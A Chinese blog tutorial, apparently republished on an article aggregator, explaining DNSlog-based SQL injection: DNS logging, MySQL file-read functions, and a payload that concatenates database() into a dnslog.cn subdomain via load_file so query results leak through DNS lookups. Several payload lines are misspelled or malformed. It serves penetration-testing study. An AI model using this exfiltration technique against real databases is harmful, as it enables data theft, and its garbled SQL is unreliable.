DNSlog注入原理

2024-01-04 15:08
文章标签 注入 原理 dnslog

本文主要是介绍DNSlog注入原理,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DNSlog注入原理及实验

遵守我国网络安全法,仅用于渗透测试交流学习。

DNS解析过程

在这里插入图片描述
首先用户在浏览器输入域名(例如blog.wuya.com),浏览器知道是域名,然后通过DNS解析为IP地址,最后浏览器通过IP地址访问服务器。IP地址与域名是应是一对多映射的关系。

DNSlog的产生

DNS在解析的过程中产生日志文件,这些日志文件记录了访问时间、域名、IP地址等信息内容。

实验

1、公共DNS免费平台:www.DNSlog.con,点击GetSubDomain,会随机生成一个域名。
在这里插入图片描述
此时打开CMD,用ping命令,ping通这个域名。因为我的目的是想把内容拼接到域名中,所以在域名之前随便加一个字符串。这里加的是aaa(不懂没关系下面会用实例解释),但是有时会ping不通,此时可以多次尝试,或者重新分配DNS域名。
在这里插入图片描述
点击RefreshRecord可以看到,域名、IP地址、以及访问的时间等信息。
在这里插入图片描述
MYSQL读写文件函数
在这里插入图片描述
读写配置文件可以更改权限的参数;
在这里插入图片描述

读取文件;
select LOAD-FILE('E:\\in.txt');
1,只能访问本机文件
2,文件需要有读权限
3,字节数少于max_allowed_packet
写入文件;
select  123 INTO OUTFILE 'D:\\out.txt';
DNS注入流程*

一,把select LOAD-FILE注入到数据库访问文件

二,UNC构建DNS服务器地址,假装访问文件,产生DNSlog
(UNC通用命名规则,一种访问网络资源的格式)
select LOAD_FIFE(’aaa.w1rvj2.dnslog.cn’)
这里//转义的作用

三、把子域名替换函数或者查询SQL
select if((select load_file(concat(’database().w1rvj2.dnslog.cn’)) )1,0)
到目前为止我们把之前的aaa替换为database(),这就是为什么要使用ping命令时加aaa域名。

后续

熟悉SQL注入的同学,当看到database()时,是否想到利用SQL语句进行逐级爆破,直到获取到我们想得到的数据。其实DNS注入的原理与SQL注入的原理如出一辙。

希望受益的朋友给一个关注,大家共同学习,共同进步

这篇关于DNSlog注入原理的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/569715

相关文章

Spring @Scheduled注解及工作原理

《Spring@Scheduled注解及工作原理》Spring的@Scheduled注解用于标记定时任务,无需额外库,需配置@EnableScheduling,设置fixedRate、fixedDe... 目录1.@Scheduled注解定义2.配置 @Scheduled2.1 开启定时任务支持2.2 创建

Spring Boot 实现 IP 限流的原理、实践与利弊解析

《SpringBoot实现IP限流的原理、实践与利弊解析》在SpringBoot中实现IP限流是一种简单而有效的方式来保障系统的稳定性和可用性,本文给大家介绍SpringBoot实现IP限... 目录一、引言二、IP 限流原理2.1 令牌桶算法2.2 漏桶算法三、使用场景3.1 防止恶意攻击3.2 控制资源

Python中使用uv创建环境及原理举例详解

《Python中使用uv创建环境及原理举例详解》uv是Astral团队开发的高性能Python工具,整合包管理、虚拟环境、Python版本控制等功能,:本文主要介绍Python中使用uv创建环境及... 目录一、uv工具简介核心特点:二、安装uv1. 通过pip安装2. 通过脚本安装验证安装:配置镜像源(可

Mysql的主从同步/复制的原理分析

《Mysql的主从同步/复制的原理分析》:本文主要介绍Mysql的主从同步/复制的原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录为什么要主从同步?mysql主从同步架构有哪些?Mysql主从复制的原理/整体流程级联复制架构为什么好?Mysql主从复制注意

Nacos注册中心和配置中心的底层原理全面解读

《Nacos注册中心和配置中心的底层原理全面解读》:本文主要介绍Nacos注册中心和配置中心的底层原理的全面解读,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录临时实例和永久实例为什么 Nacos 要将服务实例分为临时实例和永久实例?1.x 版本和2.x版本的区别

apache的commons-pool2原理与使用实践记录

《apache的commons-pool2原理与使用实践记录》ApacheCommonsPool2是一个高效的对象池化框架,通过复用昂贵资源(如数据库连接、线程、网络连接)优化系统性能,这篇文章主... 目录一、核心原理与组件二、使用步骤详解(以数据库连接池为例)三、高级配置与优化四、典型应用场景五、注意事

电脑系统Hosts文件原理和应用分享

《电脑系统Hosts文件原理和应用分享》Hosts是一个没有扩展名的系统文件,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应... Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应

Dubbo之SPI机制的实现原理和优势分析

《Dubbo之SPI机制的实现原理和优势分析》:本文主要介绍Dubbo之SPI机制的实现原理和优势,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Dubbo中SPI机制的实现原理和优势JDK 中的 SPI 机制解析Dubbo 中的 SPI 机制解析总结Dubbo中

Android与iOS设备MAC地址生成原理及Java实现详解

《Android与iOS设备MAC地址生成原理及Java实现详解》在无线网络通信中,MAC(MediaAccessControl)地址是设备的唯一网络标识符,本文主要介绍了Android与iOS设备M... 目录引言1. MAC地址基础1.1 MAC地址的组成1.2 MAC地址的分类2. android与I

Spring框架中@Lazy延迟加载原理和使用详解

《Spring框架中@Lazy延迟加载原理和使用详解》:本文主要介绍Spring框架中@Lazy延迟加载原理和使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、@Lazy延迟加载原理1.延迟加载原理1.1 @Lazy三种配置方法1.2 @Component